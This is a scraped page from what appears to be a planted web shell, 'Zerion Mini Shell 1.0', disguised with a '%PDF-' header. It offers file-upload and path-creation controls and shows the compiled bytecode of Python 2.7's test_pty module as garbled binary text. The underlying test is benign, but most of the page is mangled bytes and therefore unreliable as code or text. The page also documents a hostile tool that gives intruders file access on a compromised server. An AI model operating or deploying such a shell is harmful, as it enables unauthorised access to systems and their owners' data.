%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_pty.pyo

ó
Nêáac@s/ddlmZmZmZedƒZedƒddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
dZdZer¼d„Zn	d„Zd	„Zd
„Zde
jfd„ƒYZd
e
jfd„ƒYZdd„Zedkr+eƒndS(iÿÿÿÿ(tverbosetrun_unittestt
import_moduletfcntlttermiosNsI wish to buy a fish license.
sFor my pet fish, Eric.
cCs	|GHdS(N((tmsg((s)/usr/local/lib/python2.7/test/test_pty.pytdebugscCsdS(N((R((s)/usr/local/lib/python2.7/test/test_pty.pyRscCsB|jdƒr|jddƒS|jdƒr>|jddƒS|S(Ns

s
s
(tendswithtreplace(tdata((s)/usr/local/lib/python2.7/test/test_pty.pytnormalize_output&s
cCs%tj|dddtƒ}|jƒS(s8Read one line.  May block forever if no newline is read.tmodetrbtclosefd(tiotFileIOtFalsetreadline(tfdtreader((s)/usr/local/lib/python2.7/test/test_pty.pyt	_readline;stPtyTestcBs,eZd„Zd„Zd„Zd„ZRS(cCsUtjtj|jƒ}|jtjtj|ƒ|jtjdƒtjdƒdS(Nii
(tsignaltSIGALRMt
handle_sigt
addCleanuptalarm(tselft	old_alarm((s)/usr/local/lib/python2.7/test/test_pty.pytsetUpFscCs|jdƒdS(Nsisatty hung(tfail(Rtsigtframe((s)/usr/local/lib/python2.7/test/test_pty.pyRNscCsåybtdƒtjƒ\}}td||fƒtd|fƒtj|ƒ}td|ƒWntk
rtjd‚nX|jtj	|ƒdƒt
j
|t
jƒ}t
j
|t
j|tj
Bƒy&tj|dƒ}|jd|ƒWn+tk
r }|jtjkr!‚q!nXt
j
|t
j|ƒtd	ƒtj|tƒt|ƒ}|jd
t|ƒƒtdƒtj|td ƒtj|tdƒt|ƒ}|jd
t|ƒƒtj|ƒtj|ƒdS(NsCalling master_open()s#Got master_fd '%d', slave_name '%s'sCalling slave_open(%r)sGot slave_fd '%d's,Pseudo-terminals (seemingly) not functional.sslave_fd is not a ttyitsWriting to slave_fdsI wish to buy a fish license.
sWriting chunked outputisFor my pet fish, Eric.
(Rtptytmaster_opent
slave_opentOSErrortunittesttSkipTestt
assertTruetostisattyRtF_GETFLtF_SETFLt
O_NONBLOCKtreadtassertEqualterrnotEAGAINtwritet
TEST_STRING_1RR
t
TEST_STRING_2tclose(Rt	master_fdt
slave_nametslave_fdt
orig_flagsts1tets2((s)/usr/local/lib/python2.7/test/test_pty.pyt
test_basicQs@



	


cCstdƒtjƒ\}}|tjkrètjdƒsTtdƒtjdƒntdƒytjƒWnRtk
r‰tdƒnOt	k
r£tdƒn5tdƒtjdƒnXtd	ƒtjd
ƒtjdƒntd|ƒx[t
rSytj|d
ƒ}Wntk
r)PnX|s4Pntj
j|jddƒƒqùWtj|dƒ\}}|d?}td|||fƒ|dkr©|jdƒnT|d
krÅ|jdƒn8|dkrá|jdƒn|dkrý|jdƒntj|ƒdS(Nscalling pty.fork()isChild's fd 1 is not a tty?!isIn child, calling os.setsid()sGood: OSError was raised.sNo setsid() available?sAn unexpected error was raised.sos.setsid() succeeded! (bad!)iis!Waiting for child (%d) to finish.iPs
s
iis&Child (%d) exited with status %d (%d).s3Child raised an unexpected exception in os.setsid()s1pty.fork() failed to make child a session leader.s8Child spawned by pty.fork() did not have a tty as stdouts&pty.fork() failed for unknown reasons.(RR"tforktCHILDR)R*t_exittsetsidR%tAttributeErrortTrueR.tsyststdoutR2RtwaitpidRR5(RtpidR6R	tstatustres((s)/usr/local/lib/python2.7/test/test_pty.pyt	test_fork€sT









	
 

(t__name__t
__module__RRR=RJ(((s)/usr/local/lib/python2.7/test/test_pty.pyREs			/t
SmallPtyTestscBsDeZdZd„Zd„Zd„Zd„Zd„Zd„ZRS(s)These tests don't spawn children or hang.cCsCtj|_tj|_tj|_g|_g|_g|_	dS(N(
R"tSTDIN_FILENOtorig_stdin_filenot
STDOUT_FILENOtorig_stdout_filenotselecttorig_pty_selecttfdstselect_rfds_lengthstselect_rfds_results(R((s)/usr/local/lib/python2.7/test/test_pty.pyRØs		cCsW|jt_|jt_|jt_x,|jD]!}ytj	|ƒWq.q.Xq.WdS(N(
ROR"RNRQRPRSRRRTR)R5(RR((s)/usr/local/lib/python2.7/test/test_pty.pyttearDownàscCs tjƒ}|jj|ƒ|S(N(R)tpipeRTtextend(Rtpipe_fds((s)/usr/local/lib/python2.7/test/test_pty.pyt_pipeêscCs;|j|jjdƒt|ƒƒ|jjdƒggfS(Ni(R/RUtpoptlenRV(Rtrfdstwfdstxfds((s)/usr/local/lib/python2.7/test/test_pty.pyt_mock_selectïs"c	Cs‚|jƒ\}}|t_|jƒ\}}|t_tjƒ}g|D]}|jƒ^qI}|jj|ƒt	j
|ddƒt	j
|dƒ|jt_|j
jdƒ|jj||dgƒ|j
jdƒ|jtƒtj|dƒWdQXtj||dgggdƒd}|j||dg|ƒ|jt	j|dƒdƒ|jt	j|ddƒdƒdS(s6Test the normal data case on both master_fd and stdin.isfrom masters
from stdiniiNi(R[R"RPRNtsockett
socketpairtfilenoRTRYR)R2RaRRRUtappendRVtassertRaisest
IndexErrort_copyR/R.(	Rtread_from_stdout_fdtmock_stdout_fdt
mock_stdin_fdtwrite_to_stdin_fdRctstmastersR^((s)/usr/local/lib/python2.7/test/test_pty.pyttest__copy_to_eachôs&		&cCs|jƒ\}}|t_|jƒ\}}|t_tjƒ}g|D]}|jƒ^qI}|jj|ƒt	j
|dƒ|dj
ƒt	j
|ƒ|jt_|j
jdƒ|jj||dgƒ|j
jdƒ|jtƒtj|dƒWdQXdS(s9Test the empty read EOF case on both master_fd and stdin.iiiN(R[R"RPRNRbRcRdRTRYR)R5RaRRRUReRVRfRgRh(RRiRjRkRlRcRmRn((s)/usr/local/lib/python2.7/test/test_pty.pyttest__copy_eof_on_alls 		
(	RKRLt__doc__RRWR[RaRoRp(((s)/usr/local/lib/python2.7/test/test_pty.pyRMÕs		
			cCstttƒdS(N(RRMR(R((s)/usr/local/lib/python2.7/test/test_pty.pyt	test_main+st__main__(ttest.test_supportRRRRR0R"R)RDRRRRbRR&R3R4RR
RtTestCaseRRMtNoneRrRK(((s)/usr/local/lib/python2.7/test/test_pty.pyt<module>s.
			
V

Zerion Mini Shell 1.0